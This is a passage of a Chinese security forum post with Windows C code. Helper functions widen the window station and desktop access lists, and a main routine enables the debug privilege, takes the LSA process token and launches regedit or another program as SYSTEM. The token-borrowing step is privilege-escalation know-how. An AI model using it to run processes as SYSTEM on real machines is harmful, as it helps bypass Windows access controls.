window station. if (!GetUserObjectSecurity( hwinsta, &si, psd, dwSidSize, &dwSdSizeNeeded) ) if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) { psd = (PSECURITY_DESCRIPTOR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, dwSdSizeNeeded); if (psd == NULL) __leave; psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, dwSdSizeNeeded); if (psdNew == NULL) __leave; dwSidSize = dwSdSizeNeeded; if (!GetUserObjectSecurity( hwinsta, &si, psd, dwSidSize, &dwSdSizeNeeded) ) __leave; } else __leave; // Create a new DACL. if (!InitializeSecurityDescriptor( psdNew, SECURITY_DESCRIPTOR_REVISION) ) __leave; // Get the DACL from the security descriptor. if (!GetSecurityDescriptorDacl( psd, &bDaclPresent, &pacl, &bDaclExist) ) __leave; // Initialize the ACL. ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION)); aclSizeInfo.AclBytesInUse = sizeof(ACL); // Call only if the DACL is not NULL. if (pacl != NULL) { // get the file ACL size info if (!GetAclInformation( pacl, (LPVOID)&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION), AclSizeInformation) ) __leave; } // Compute the size of the new ACL. dwNewAclSize = aclSizeInfo.AclBytesInUse + (2*sizeof(ACCESS_ALLOWED_ACE)) + (2*GetLengthSid(psid)) - (2*sizeof(DWORD)); // Allocate memory for the new ACL. pNewAcl = (PACL)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, dwNewAclSize); if (pNewAcl == NULL) __leave; // Initialize the new DACL. if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION)) __leave; // If DACL is present, copy it to a new DACL. if (bDaclPresent) { // Copy the ACEs to the new ACL. if (aclSizeInfo.AceCount) { for (i=0; i < aclSizeInfo.AceCount; i++) { // Get an ACE. if (!GetAce(pacl, i, &pTempAce)) __leave; // Add the ACE to the new ACL. if (!AddAce( pNewAcl, ACL_REVISION, MAXDWORD, pTempAce, ((PACE_HEADER)pTempAce)->AceSize) ) __leave; } } } // Add the first ACE to the window station. pace = (ACCESS_ALLOWED_ACE *)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) - sizeof(DWORD)); if (pace == NULL) __leave; pace->Header.AceType = ACCESS_ALLOWED_ACE_TYPE; pace->Header.AceFlags = CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE; pace->Header.AceSize = sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) - sizeof(DWORD); pace->Mask = GENERIC_ACCESS; if (!CopySid(GetLengthSid(psid), &pace->SidStart, psid)) __leave; if (!AddAce( pNewAcl, ACL_REVISION, MAXDWORD, (LPVOID)pace, pace->Header.AceSize) ) __leave; // Add the second ACE to the window station. pace->Header.AceFlags = NO_PROPAGATE_INHERIT_ACE; pace->Mask = WINSTA_ALL; if (!AddAce( pNewAcl, ACL_REVISION, MAXDWORD, (LPVOID)pace, pace->Header.AceSize) ) __leave; // Set a new DACL for the security descriptor. if (!SetSecurityDescriptorDacl( psdNew, TRUE, pNewAcl, FALSE) ) __leave; // Set the new security descriptor for the window station. if (!SetUserObjectSecurity(hwinsta, &si, psdNew)) __leave; // Indicate success. bSuccess = TRUE; } __finally { // Free the allocated buffers. if (pace != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)pace); if (pNewAcl != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl); if (psd != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)psd); if (psdNew != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew); } return bSuccess; } BOOL AddAceToDesktop(HDESK hdesk, PSID psid) { ACL_SIZE_INFORMATION aclSizeInfo; BOOL bDaclExist; BOOL bDaclPresent; BOOL bSuccess = FALSE; DWORD dwNewAclSize; DWORD dwSidSize = 0; DWORD dwSdSizeNeeded; PACL pacl; PACL pNewAcl; PSECURITY_DESCRIPTOR psd = NULL; PSECURITY_DESCRIPTOR psdNew = NULL; PVOID pTempAce; SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION; unsigned int i; __try { // Obtain the security descriptor for the desktop object. if (!GetUserObjectSecurity( hdesk, &si, psd, dwSidSize, &dwSdSizeNeeded)) { if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) { psd = (PSECURITY_DESCRIPTOR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, dwSdSizeNeeded ); if (psd == NULL) __leave; psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, dwSdSizeNeeded); if (psdNew == NULL) __leave; dwSidSize = dwSdSizeNeeded; if (!GetUserObjectSecurity( hdesk, &si, psd, dwSidSize, &dwSdSizeNeeded) ) __leave; } else __leave; } // Create a new security descriptor. if (!InitializeSecurityDescriptor( psdNew, SECURITY_DESCRIPTOR_REVISION) ) __leave; // Obtain the DACL from the security descriptor. if (!GetSecurityDescriptorDacl( psd, &bDaclPresent, &pacl, &bDaclExist) ) __leave; // Initialize. ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION)); aclSizeInfo.AclBytesInUse = sizeof(ACL); // Call only if NULL DACL. if (pacl != NULL) { // Determine the size of the ACL information. if (!GetAclInformation( pacl, (LPVOID)&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION), AclSizeInformation) ) __leave; } // Compute the size of the new ACL. dwNewAclSize = aclSizeInfo.AclBytesInUse + sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) - sizeof(DWORD); // Allocate buffer for the new ACL. pNewAcl = (PACL)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, dwNewAclSize); if (pNewAcl == NULL) __leave; // Initialize the new ACL. if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION)) __leave; // If DACL is present, copy it to a new DACL. if (bDaclPresent) { // Copy the ACEs to the new ACL. if (aclSizeInfo.AceCount) { for (i=0; i < aclSizeInfo.AceCount; i++) { // Get an ACE. if (!GetAce(pacl, i, &pTempAce)) __leave; // Add the ACE to the new ACL. if (!AddAce( pNewAcl, ACL_REVISION, MAXDWORD, pTempAce, ((PACE_HEADER)pTempAce)->AceSize) ) __leave; } } } // Add ACE to the DACL. if (!AddAccessAllowedAce( pNewAcl, ACL_REVISION, DESKTOP_ALL, psid) ) __leave; // Set new DACL to the new security descriptor. if (!SetSecurityDescriptorDacl( psdNew, TRUE, pNewAcl, FALSE) ) __leave; // Set the new security descriptor for the desktop object. if (!SetUserObjectSecurity(hdesk, &si, psdNew)) __leave; // Indicate success. bSuccess = TRUE; } __finally { // Free buffers. if (pNewAcl != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl); if (psd != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)psd); if (psdNew != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew); } return bSuccess; } int main(int argc, char **argv) { HANDLE hToken = NULL; EnablePrivilege(SE_DEBUG_NAME); hToken = GetLSAToken(); StartInteractiveClientProcess(NULL, NULL, NULL, argc==2?argv[1]:"regedit", hToken); return 0; } 上面这两种方法都能很好的完全功能,但是建议用第二种,虽然代码看上去有点长,但是很稳定. 代码又长又乱,其中肯定有错误之处,还请大家告之.谢过先... ;-)




欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2